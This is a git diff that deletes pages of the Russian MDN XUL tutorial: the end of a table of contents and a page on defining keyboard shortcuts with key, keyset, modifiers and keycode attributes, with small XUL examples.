-<h2 id=".D0.94.D0.B5.D1.80.D0.B5.D0.B2.D1.8C.D1.8F" name=".D0.94.D0.B5.D1.80.D0.B5.D0.B2.D1.8C.D1.8F">Деревья</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Trees" title="ru/XUL_Tutorial/Trees">Введение</a></li>
- <li><a href="/ru/XUL_Tutorial/More_Tree_Features" title="ru/XUL_Tutorial/More_Tree_Features">Подробнее о деревьях</a></li>
- <li><a href="/ru/XUL_Tutorial/Tree_Selection" title="ru/XUL_Tutorial/Tree_Selection">Выделение</a></li>
- <li><a href="/ru/XUL_Tutorial/Custom_Tree_Views" title="ru/XUL_Tutorial/Custom_Tree_Views">Собственный вывод дерева</a></li>
- <li><a href="/ru/XUL_Tutorial/Tree_View_Details" title="ru/XUL_Tutorial/Tree_View_Details">Детальная настройка дерева </a></li>
- <li><a href="/ru/XUL_Tutorial/Tree_Box_Objects" title="ru/XUL_Tutorial/Tree_Box_Objects">Контейнеры деревьев</a></li>
-</ul>
-<h2 id="RDF_.D0.B8_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D1.8B" name="RDF_.D0.B8_.D1.88.D0.B0.D0.B1.D0.BB.D0.BE.D0.BD.D1.8B">RDF и шаблоны</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Introduction_to_RDF" title="ru/XUL_Tutorial/Introduction_to_RDF">Введение в RDF</a></li>
- <li><a href="/ru/XUL_Tutorial/Templates" title="ru/XUL_Tutorial/Templates">Шаблоны</a></li>
- <li><a href="/ru/XUL_Tutorial/Trees_and_Templates" title="ru/XUL_Tutorial/Trees_and_Templates">Шаблоны для деревьев</a></li>
- <li><a href="/ru/XUL_Tutorial/RDF_Datasources" title="ru/XUL_Tutorial/RDF_Datasources">Источники данных RDF</a></li>
- <li><a href="/ru/XUL_Tutorial/Advanced_Rules" title="ru/XUL_Tutorial/Advanced_Rules">Правила посложнее</a></li>
- <li><a href="/ru/XUL_Tutorial/Persistent_Data" title="ru/XUL_Tutorial/Persistent_Data">Сохраняем состояние элементов</a></li>
-</ul>
-<h2 id=".D0.A2.D0.B5.D0.BC.D1.8B_.D0.BE.D1.84.D0.BE.D1.80.D0.BC.D0.BB.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B8_.D0.BB.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.A2.D0.B5.D0.BC.D1.8B_.D0.BE.D1.84.D0.BE.D1.80.D0.BC.D0.BB.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B8_.D0.BB.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F">Темы оформления и локализация</h2>
-<ul>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D1%8B_%D1%81%D1%82%D0%B8%D0%BB%D0%B5%D0%B9" title="ru/Руководство_по_XUL/Добавление_таблицы_стилей">Добавление таблицы стилей</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D1%82%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%B0" title="ru/Руководство_по_XUL/Стилизация_дерева">Стилизация дерева</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9C%D0%BE%D0%B4%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F_%D0%BE%D1%84%D0%BE%D1%80%D0%BC%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%83%D0%BC%D0%BE%D0%BB%D1%87%D0%B0%D0%BD%D0%B8%D1%8E" title="ru/Руководство_по_XUL/Модификация_оформления_по_умолчанию">Модификация оформления по умолчанию</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%BC%D1%8B_%D0%BE%D1%84%D0%BE%D1%80%D0%BC%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F" title="ru/Руководство_по_XUL/Создание_темы_оформления">Создание темы оформления</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9B%D0%BE%D0%BA%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F" title="ru/Руководство_по_XUL/Локализация">Локализация</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A4%D0%B0%D0%B9%D0%BB%D1%8B_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BA" title="ru/Руководство_по_XUL/Файлы_настроек">Файлы настроек</a></li>
-</ul>
-<h2 id=".D0.9F.D1.80.D0.B8.D0.B2.D1.8F.D0.B7.D0.BA.D0.B8_.28.D0.B1.D0.B8.D0.BD.D0.B4.D0.B8.D0.BD.D0.B3.D0.B8.29" name=".D0.9F.D1.80.D0.B8.D0.B2.D1.8F.D0.B7.D0.BA.D0.B8_.28.D0.B1.D0.B8.D0.BD.D0.B4.D0.B8.D0.BD.D0.B3.D0.B8.29">Привязки (Bindings)</h2>
-<ul>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_XBL" title="ru/Руководство_по_XUL/Введение_в_XBL">Введение в XBL</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%90%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D0%BE%D0%B5_%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B8%D0%BC%D0%BE%D0%B5_%D0%B2_XBL" title="ru/Руководство_по_XUL/Анонимное_содержимое_в_XBL">Анонимное содержимое</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2_%D0%B2_XBL" title="ru/Руководство_по_XUL/Наследование_свойств_в_XBL">Наследование свойств в XBL</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0_%D0%B2_XBL" title="ru/Руководство_по_XUL/Свойства_в_XBL">Добавление свойств</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4%D1%8B_%D0%B2_XBL" title="ru/Руководство_по_XUL/Методы_в_XBL">Добавление методов</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9_%D0%B2_XBL" title="ru/Руководство_по_XUL/Обработчики_событий_в_XBL">Добавление обработчиков событий</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B2_XBL" title="ru/Руководство_по_XUL/Наследование_в_XBL">Наследование в XBL</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80_XBL" title="ru/Руководство_по_XUL/Пример_XBL">Пример</a></li>
-</ul>
-<h2 id=".D0.A1.D0.BF.D0.B5.D1.86.D0.B8.D0.B0.D0.BB.D1.8C.D0.BD.D1.8B.D0.B5_.D0.B2.D0.B8.D0.B4.D1.8B_.D0.BE.D0.BA.D0.BE.D0.BD" name=".D0.A1.D0.BF.D0.B5.D1.86.D0.B8.D0.B0.D0.BB.D1.8C.D0.BD.D1.8B.D0.B5_.D0.B2.D0.B8.D0.B4.D1.8B_.D0.BE.D0.BA.D0.BE.D0.BD">Специальные виды окон</h2>
-<ul>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%B5%D1%81%D0%BD%D1%8B%D0%B5_%D1%81%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0_%D0%BE%D0%BA%D0%BE%D0%BD" title="ru/Руководство_по_XUL/Интересные_свойства_окон">Интересные свойства окон</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%BE%D0%B2" title="ru/Руководство_по_XUL/Создание_диалогов">Создание диалогов</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%94%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%B8_%C2%AB%D0%9E%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8C%C2%BB_%D0%B8_%C2%AB%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C%C2%BB" title="ru/Руководство_по_XUL/Диалоги_«Открыть»_и_«Сохранить»">Диалоги «Открыть» и «Сохранить»</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B0%D1%81%D1%82%D0%B5%D1%80%D0%B0" title="ru/Руководство_по_XUL/Создание_мастера">Создание мастера</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9F%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%B5%D0%B5_%D0%BE_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B8_%D0%BC%D0%B0%D1%81%D1%82%D0%B5%D1%80%D0%BE%D0%B2" title="ru/Руководство_по_XUL/Подробнее_о_создании_мастеров">Подробнее о создании мастеров</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9E%D0%B2%D0%B5%D1%80%D0%BB%D0%B5%D0%B8" title="ru/Руководство_по_XUL/Оверлеи">Оверлеи</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%9C%D0%B5%D0%B6%D0%BF%D0%B0%D0%BA%D0%B5%D1%82%D0%BD%D1%8B%D0%B5_%D0%BE%D0%B2%D0%B5%D1%80%D0%BB%D0%B5%D0%B8" title="ru/Руководство_по_XUL/Межпакетные_оверлеи">Межпакетные оверлеи</a></li>
-</ul>
-<h2 id=".D0.A3.D1.81.D1.82.D0.B0.D0.BD.D0.BE.D0.B2.D0.BA.D0.B0" name=".D0.A3.D1.81.D1.82.D0.B0.D0.BD.D0.BE.D0.B2.D0.BA.D0.B0">Установка</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Creating_an_Installer" title="ru/XUL_Tutorial/Creating_an_Installer">Создание инсталятора</a></li>
- <li><a href="/ru/XUL_Tutorial/Install_Scripts" title="ru/XUL_Tutorial/Install_Scripts">Установка скриптов</a></li>
- <li><a href="/ru/XUL_Tutorial/Additional_Install_Features" title="ru/XUL_Tutorial/Additional_Install_Features">Дополнительные возможности</a></li>
-</ul>
-<div class="note">
- <p>Это руководство первоначально написано Нилом Дикиным(<a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>). И он любезно разрешил нам разместить текст на <a href="/Project:ru/About" title="Project:ru/About">MDC</a>.</p>
-</div>
-<div class="originaldocinfo">
- <h5 id=".D0.98.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F_.D0.BE_.D0.BF.D1.80.D0.BE.D0.B8.D1.81.D1.85.D0.BE.D0.B6.D0.B4.D0.B5.D0.BD.D0.B8.D0.B8_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0" name=".D0.98.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F_.D0.BE_.D0.BF.D1.80.D0.BE.D0.B8.D1.81.D1.85.D0.BE.D0.B6.D0.B4.D0.B5.D0.BD.D0.B8.D0.B8_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0">Информация о происхождении документа</h5>
- <ul>
- <li>Автор: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li>
- <li>Последнее обновление: 3 июля 2005</li>
- <li>О правах копирования: © 1999-2005 XULPlanet.com</li>
- </ul>
-</div>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/keyboard_shortcuts/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/keyboard_shortcuts/index.html
deleted file mode 100644
index ea41465bc4..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/keyboard_shortcuts/index.html
+++ /dev/null
@@ -1,392 +0,0 @@
----
-title: Keyboard Shortcuts
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Keyboard_Shortcuts
-translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts
----
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial/More_Event_Handlers" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial/Focus_and_Selection">Следующая статья »</a></p>
-</div><p></p>
-
-<p>You could use keyboard event handlers to respond to the keyboard. However, it would be tedious to do that for every button and menu item (though it could be necessary when one's key commands are only triggered when the user is focused on a particular element).</p>
-
-<h3 id="Creating_a_Keyboard_Shortcut" name="Creating_a_Keyboard_Shortcut">Creating a Keyboard Shortcut</h3>
-
-<p>XUL provides methods in which you can define keyboard shortcuts. We've already seen in <a href="/en/XUL_Tutorial/Simple_Menu_Bars" title="en/XUL_Tutorial/Simple_Menu_Bars">the section on menus</a> that we can define an attribute called <code>accesskey</code> which specifies the key which a user can press to activate the menu or menu item. In the example below, the File menu can be selected by pressing Alt and F (or some other key combination for a specific platform). Once the File menu is open, the Close menu item can be selected by pressing C.</p>
-
-<p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_1.xul">Просмотреть</a></p>
-
-<pre>&lt;menubar id="sample-menubar"&gt;
- &lt;menu id="file-menu" label="File" accesskey="f"&gt;
- &lt;menupopup id="file-popup"&gt;
- &lt;menuitem id="close-command" label="Close" accesskey="c"/&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
-&lt;/menubar&gt;
-</pre>
-
-<p>You can also use the <code><code id="a-accesskey"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/accesskey">accesskey</a></code></code> attribute on buttons. When the key is pressed in this case, the button is selected.</p>
-
-<p>You might want to set up more general keyboard shortcuts however. For example, pressing Control+C to copy text to the clipboard. Although shortcuts such as this might not always be valid, they will usually work any time the window is open. Usually, a keyboard shortcut will be allowed at any time and you can check to see whether it should do something using a script. For example, copying text to the clipboard should only work when some text is selected.</p>
-
-<h4 id="Key_element" name="Key_element">Key element</h4>
-
-<p>XUL provides an element, <code><code><a href="/ru/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code>, which lets you define a keyboard shortcut for a window. It has attributes to specify the key that should be pressed and what modifier keys (such as Shift or Control) need to be pressed. An example is shown below:</p>
-
-<pre>&lt;keyset&gt;
- &lt;key id="sample-key" modifiers="shift" key="R"/&gt;
-&lt;/keyset&gt;
-</pre>
-
-<p>This sample defines a keyboard shortcut that is activated when the user presses the Shift key and R. The <code><code id="a-key"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/key">key</a></code></code> attribute (note that it has the same name as the element itself) can be used to indicate which key should be pressed, in this case R. You could add any character for this attribute to require that key to be pressed. The modifiers that must be pressed are indicated with the <code><code id="a-modifiers"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/modifiers">modifiers</a></code></code> attribute. It is a space-separated list of modifier keys, which are listed below.</p>
-
-<dl>
- <dt>alt</dt>
- <dd>The user must press the Alt key. On the Macintosh, this is the Option key.</dd>
- <dt>control</dt>
- <dd>The user must press the Control key.</dd>
- <dt>meta</dt>
- <dd>The user must press the Meta key. This is the Command key on the Macintosh.</dd>
- <dt>shift</dt>
- <dd>The user must press the Shift key.</dd>
- <dt>os</dt>
- <dd>The user must press the Win key. This is the Super key or the Hyper key on Linux. If this value is used, typically the key combination conflicts with system wide shortcut keys. So, you shouldn't use this value as far as possible. </dd>
- <dt>accel</dt>
- <dd>The user must press the special accelerator key. The key used for keyboard shortcuts on the user's platform. Usually, this would be the value you would use.</dd>
- <dt>access</dt>
- <dd>The user must press the special access key. The key used for access keys on the user's platform.</dd>
-</dl>
-
-<p>Your keyboard won't necessarily have all of the keys, in which case they will be mapped to modifier keys that you do have.</p>
-
-<p>The <code><code><a href="/ru/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> element must be placed inside a <code><code><a href="/ru/docs/Mozilla/Tech/XUL/keyset" title="keyset">keyset</a></code></code> element. This element is designed for holding a set of <code>key</code> elements, which serves to group all of the key definitions in one place in a file. Any <code>key</code> elements outside of a <code>keyset</code> element will not work.</p>
-
-<p>Each platform generally uses a different key for keyboard shortcuts. For example, Windows uses the Control key and the Macintosh uses the Command key. It would be inconvenient to define separate <code>key</code> elements for each platform. Luckily, there is a solution. The modifier <code>accel</code> refers to the special platform-specific key used for shortcuts. It works just like the other modifiers, but won't be the same on every platform.</p>
-
-<p>Here are some additional examples:</p>
-
-<pre>&lt;keyset&gt;
- &lt;key id="copy-key" modifiers="control" key="C"/&gt;
- &lt;key id="explore-key" modifiers="control alt" key="E"/&gt;
- &lt;key id="paste-key" modifiers="accel" key="V"/&gt;
-&lt;/keyset&gt;
-</pre>
-
-<h4 id="Keycode_attribute" name="Keycode_attribute">Keycode attribute</h4>
-
-<p>The <code><code id="a-key"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/key">key</a></code></code> attribute is used to specify the key that must be pressed. However, there will also be cases where you want to refer to keys that cannot be specified with a character (such as the Enter key or the function keys). The <code>key</code> attribute can only be used for printable characters. Another attribute, <code><code id="a-keycode"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/keycode">keycode</a></code></code> can be used for non-printable characters.</p>
-
-<p>The <code><code id="a-keycode"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/keycode">keycode</a></code></code> attribute should be set to a special code which represents the key you want. A table of the keys is listed below. Not all of the keys are available on all keyboards.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td>VK_CANCEL</td>
- <td>VK_BACK</td>
- <td>VK_TAB</td>
- <td>VK_CLEAR</td>
- </tr>
- <tr>
- <td>VK_RETURN</td>
- <td>VK_ENTER</td>
- <td>VK_SHIFT</td>
- <td>VK_CONTROL</td>
- </tr>
- <tr>
- <td>VK_ALT</td>
- <td>VK_PAUSE</td>
- <td>VK_CAPS_LOCK</td>
- <td>VK_ESCAPE</td>
- </tr>
- <tr>
- <td>VK_SPACE</td>
- <td>VK_PAGE_UP</td>
- <td>VK_PAGE_DOWN</td>
- <td>VK_END</td>
- </tr>
- <tr>
- <td>VK_HOME</td>
- <td>VK_LEFT</td>
- <td>VK_UP</td>
- <td>VK_RIGHT</td>
- </tr>
- <tr>
- <td>VK_DOWN</td>
- <td>VK_PRINTSCREEN</td>
- <td>VK_INSERT</td>
- <td>VK_DELETE</td>
- </tr>
- <tr>
- <td>VK_0</td>
- <td>VK_1</td>
- <td>VK_2</td>
- <td>VK_3</td>
- </tr>
- <tr>
- <td>VK_4</td>
- <td>VK_5</td>
- <td>VK_6</td>
- <td>VK_7</td>
- </tr>
- <tr>
- <td>VK_8</td>
- <td>VK_9</td>
- <td>VK_SEMICOLON</td>
- <td>VK_EQUALS</td>
- </tr>
- <tr>
- <td>VK_A</td>
- <td>VK_B</td>
- <td>VK_C</td>
- <td>VK_D</td>
- </tr>
- <tr>
- <td>VK_E</td>
- <td>VK_F</td>
- <td>VK_G</td>
- <td>VK_H</td>
- </tr>
- <tr>
- <td>VK_I</td>
- <td>VK_J</td>
- <td>VK_K</td>
- <td>VK_L</td>
- </tr>
- <tr>
- <td>VK_M</td>
- <td>VK_N</td>
- <td>VK_O</td>
- <td>VK_P</td>
- </tr>
- <tr>
- <td>VK_Q</td>
- <td>VK_R</td>
- <td>VK_S</td>
- <td>VK_T</td>
- </tr>
- <tr>
- <td>VK_U</td>
- <td>VK_V</td>
- <td>VK_W</td>
- <td>VK_X</td>
- </tr>
- <tr>
- <td>VK_Y</td>
- <td>VK_Z</td>
- <td>VK_NUMPAD0</td>
- <td>VK_NUMPAD1</td>
- </tr>
- <tr>
- <td>VK_NUMPAD2</td>
- <td>VK_NUMPAD3</td>
- <td>VK_NUMPAD4</td>
- <td>VK_NUMPAD5</td>
- </tr>
- <tr>
- <td>VK_NUMPAD6</td>
- <td>VK_NUMPAD7</td>
- <td>VK_NUMPAD8</td>
- <td>VK_NUMPAD9</td>
- </tr>
- <tr>
- <td>VK_MULTIPLY</td>
- <td>VK_ADD</td>
- <td>VK_SEPARATOR</td>
- <td>VK_SUBTRACT</td>
- </tr>
- <tr>
- <td>VK_DECIMAL</td>
- <td>VK_DIVIDE</td>
- <td>VK_F1</td>
- <td>VK_F2</td>
- </tr>
- <tr>
- <td>VK_F3</td>
- <td>VK_F4</td>
- <td>VK_F5</td>
- <td>VK_F6</td>
- </tr>
- <tr>
- <td>VK_F7</td>
- <td>VK_F8</td>
- <td>VK_F9</td>
- <td>VK_F10</td>
- </tr>
- <tr>
- <td>VK_F11</td>
- <td>VK_F12</td>
- <td>VK_F13</td>
- <td>VK_F14</td>
- </tr>
- <tr>
- <td>VK_F15</td>
- <td>VK_F16</td>
- <td>VK_F17</td>
- <td>VK_F18</td>
- </tr>
- <tr>
- <td>VK_F19</td>
- <td>VK_F20</td>
- <td>VK_F21</td>
- <td>VK_F22</td>
- </tr>
- <tr>
- <td>VK_F23</td>
- <td>VK_F24</td>
- <td>VK_NUM_LOCK</td>
- <td>VK_SCROLL_LOCK</td>
- </tr>
- <tr>
- <td>VK_COMMA</td>
- <td>VK_PERIOD</td>
- <td>VK_SLASH</td>
- <td>VK_BACK_QUOTE</td>
- </tr>
- <tr>
- <td>VK_OPEN_BRACKET</td>
- <td>VK_BACK_SLASH</td>
- <td>VK_CLOSE_BRACKET</td>
- <td>VK_QUOTE</td>
- </tr>
- <tr>
- <td>VK_HELP</td>
- <td> </td>
- <td> </td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<p>For example, to create a shortcut that is activated when the user presses Alt and F5, do the following:</p>
-
-<pre>&lt;keyset&gt;
- &lt;key id="test-key" modifiers="alt" keycode="VK_F5"/&gt;
-&lt;/keyset&gt;
-</pre>
-
-<p>The example below demonstrates some more keyboard shortcuts:</p>
-
-<pre>&lt;keyset&gt;
- &lt;key id="copy-key" modifiers="accel" key="C"/&gt;
- &lt;key id="find-key" keycode="VK_F3"/&gt;
- &lt;key id="switch-key" modifiers="control alt" key="1"/&gt;
-&lt;/keyset&gt;
-</pre>
-
-<p>The first key is invoked when the user presses their platform-specific shortcut key and C. The second is invoked when the user presses F3. The third is invoked on a press of the Control key, the Alt key and 1. If you wanted to distinguish between keys on the main part of the keyboard and the numeric keypad, use the VK_NUMPAD keys (such as VK_NUMPAD1).</p>
-
-<div class="note">
-<p>Refer to the <a class="external" href="http://www.mozilla.org/access/keyboard/">Mozilla Keyboard Planning FAQ and Cross Reference</a> for more information about selecting keyboard shortcuts to use in applications.</p>
-</div>
-
-<h3 id="Using_the_Keyboard_Shortcuts" name="Using_the_Keyboard_Shortcuts">Using the Keyboard Shortcuts</h3>
-
-<p>Now that we know how to define keyboard shortcuts, we'll find out how we can use them. There are two ways.</p>
-
-<p><strong>The first way</strong> is the simplest and just requires that you use the command event handler on the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> element. When the user presses the key, the script will be invoked. An example is shown below:</p>
-
-<pre>&lt;keyset&gt;
- &lt;key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/&gt;
-&lt;/keyset&gt;
-</pre>
-
-<p>The function <code>DoCopy</code> will be called when the user presses the keys specified by the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> element, which in this example, are the keys for copying to the clipboard (such as Control+C). This will work as long as the window is open. The <code>DoCopy</code> function should check to see if text is selected and then copy the text to the clipboard. Note that textboxes have the clipboard shortcuts built-in so you don't have to implement them yourself.</p>
-
-<h4 id="Assigning_a_keyboard_shortcut_on_a_menu" name="Assigning_a_keyboard_shortcut_on_a_menu">Assigning a keyboard shortcut on a menu</h4>
-
-<p><strong>The second way</strong> is: If you are assigning a keyboard shortcut that performs a command that also exists on a menu, you can associate the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> element directly with the menu command. To do this, also add a <code><code id="a-key"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/key">key</a></code></code> attribute on the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>. Set its value to the <code><code id="a-id"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/id">id</a></code></code> of the key that you want to use. The example below demonstrates this.</p>
-
-<p><span id="Example_2"><a id="Example_2"></a><strong>Example 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul">Просмотреть</a></p>
-
-<div class="float-right"><img alt="Image:keyshort1.jpg" class="internal" src="/@api/deki/files/737/=Keyshort1.jpg"></div>
-
-<pre>&lt;keyset&gt;
- &lt;key id="paste-key" modifiers="accel" key="V"
- oncommand="alert('Paste invoked')"/&gt;
-&lt;/keyset&gt;
-
-&lt;menubar id="sample-menubar"&gt;
- &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
- &lt;menupopup id="edit-popup"&gt;
- &lt;menuitem id="paste-command"
- accesskey="p" key="paste-key"
- label="Paste" oncommand="alert('Paste invoked')"/&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
-&lt;/menubar&gt;
-</pre>
-
